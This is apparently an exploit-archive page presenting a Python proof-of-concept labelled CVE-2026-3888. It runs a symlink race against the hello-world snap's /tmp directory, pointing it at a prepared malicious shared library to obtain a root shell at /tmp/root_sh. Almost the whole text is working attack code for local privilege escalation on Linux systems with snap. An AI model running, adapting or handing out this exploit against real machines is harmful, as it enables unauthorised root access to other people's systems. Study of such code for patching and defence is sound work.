5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-3888.py PY
import os
import threading
import subprocess
import shutil

TARGET_DIR = "/tmp/snap.hello-world"
PAYLOAD_PATH = "/tmp/libpayload.so"
ROOT_SHELL = "/tmp/root_sh"

def trigger():
    while not os.path.exists(ROOT_SHELL):
        subprocess.run(["hello-world"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def racer():
    payload = "/tmp/libpayload.so"
    target = "/tmp/snap.hello-world"
    while True:
        try:
            os.symlink(payload, target)
            os.unlink(target)
        except:
            pass

if __name__ == "__main__":
    if not os.path.exists(PAYLOAD_PATH):
        print("[-] Error: Payload .so not found in /tmp/")
        exit(1)

    print(f"[*] Starting Race Condition against {TARGET_DIR}...")
    threads = []
    
    for _ in range(4):
        threads.append(threading.Thread(target=trigger))
        threads.append(threading.Thread(target=racer))

    for t in threads:
        t.daemon = True
        t.start()

    while not os.path.exists(ROOT_SHELL):
        pass
    
    print("[!] Race WON! Shutting down threads...")